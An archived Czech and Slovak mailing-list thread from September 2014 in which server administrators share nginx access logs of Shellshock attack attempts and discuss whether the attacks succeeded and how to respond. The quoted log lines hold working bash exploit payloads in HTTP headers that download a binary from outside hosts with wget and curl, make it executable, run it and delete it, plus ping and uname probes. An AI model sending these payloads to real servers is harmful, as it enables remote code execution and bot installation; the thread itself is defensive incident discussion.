Tak jsem to zkoumal a toto je celkem bezpecne, je to zda se pouze
test, zda-li je ten bash zranitelnej, ale ve skutecnosti to nic nedela.

74.201.85.69/ec.z -> je pouze uvitaci stranka nginxu.

Upgraduj hlavne ten bash :)

Medved

Dne 29.9.2014 v 10:23 René Klačan napsal(a):
> Ja mam v logoch nasledovne

> root@yuna /home/rene # grep '() {' /var/log/nginx/*
> /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37
> +0200] "GET /test HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c
> \x22wget -O /var/tmp/ec.z *MailScanner has detected a possible
> fraud attempt from "74.201.85.69" claiming to be* *MailScanner
> warning: numerical links are often malicious:*
> 74.201.85.69/ec.z;chmod MailScanner warning: numerical links are often malicious: <http://74.201.85.69/ec.z;chmod> +x
> /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
> /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37
> +0200] "GET / HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c
> \x22wget -O /var/tmp/ec.z *MailScanner has detected a possible
> fraud attempt from "74.201.85.69" claiming to be* *MailScanner
> warning: numerical links are often malicious:*
> 74.201.85.69/ec.z;chmod MailScanner warning: numerical links are often malicious: <http://74.201.85.69/ec.z;chmod> +x
> /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
> /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37
> +0200] "GET /cgi-bin/test.sh HTTP/1.0" 200 193 "-" "() { :;};
> /bin/bash -c \x22wget -O /var/tmp/ec.z *MailScanner has detected a
> possible fraud attempt from "74.201.85.69" claiming to be*
> *MailScanner warning: numerical links are often malicious:*
> 74.201.85.69/ec.z;chmod MailScanner warning: numerical links are often malicious: <http://74.201.85.69/ec.z;chmod> +x
> /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
> /var/log/nginx/access.log.1:209.126.230.72 - -
> [25/Sep/2014:07:26:09 +0200] "GET / HTTP/1.0" 200 193 "() { :; };
> ping -c 11 209.126.230.74" "shellshock-scan
> (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"


/var/log/nginx/access.log.1:89.207.135.125 - - [25/Sep/2014:11:26:32
> +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 200 193 "-" "() {
> :;}; /bin/ping -c 1 198.101.206.138"
> /var/log/nginx/access.log.1:54.251.83.67 - - [27/Sep/2014:21:35:34
> +0200] "GET / HTTP/1.1" 200 193 "-" "() { :;}; /bin/bash -c
> \x22echo testing9123123\x22; /bin/uname -a"
> /var/log/nginx/access.log.1:137.189.52.234 - -
> [27/Sep/2014:23:18:23 +0200] "GET /cgi-bin/test-cgi HTTP/1.0" 200
> 193 "-" "() { :;}; /bin/bash -c \x22wget
> http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh
> http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf
> /tmp/sh\x22"

> vyzera to trochu zle :-/ ... co odporucate s tym robit? killnut
> len podozrive procesy? a pohladat nejake stopy po tom, ci sa
> nezapinaju po restarte?


> 2014-09-29 10:10 GMT+02:00 Michal Miklos <mimik@mimik.sk
> <mailto:mimik@mimik.sk>>:

> jedine si zistit ci mas dobru verziu bashu.


> On 29 Sep 2014, at 10:08, Jan B. Kolář
> <janbivoj.kolar@zazen-nudu.cz
> <mailto:janbivoj.kolar@zazen-nudu.cz>> wrote:

>> Ahoj,
>>
>> možná hloupá otázka - dá se nějak z logu zjistit, zda ten průnik
> byl úspěšný či nikoliv?
>>
>> Honza
>>
>> On 29.9.2014 10 <tel:29.9.2014%2010>:02, Petr Krcmar wrote:
>>> Dne 29.9.2014 v 09:57 Jiří Medvěd napsal(a):
>>>> Hele,
>>>>
>>>> z jineho stroje:
>>> Ano, to jsem našel taky. Zjevně se tam někdo snaží tlačit
>>> rootkit:
>>>
>>> http://petrkrcmar.blog.root.cz/2014/09/29/utoky-na-bash-uz-bezi/

>>>
>>
>>
>> _______________________________________________ Community-list
>> mailing list Community-list@lists.vpsfree.cz
> <mailto:Community-list@lists.vpsfree.cz>
>> http://lists.vpsfree.cz/listinfo/community-list


> _______________________________________________ Community-list
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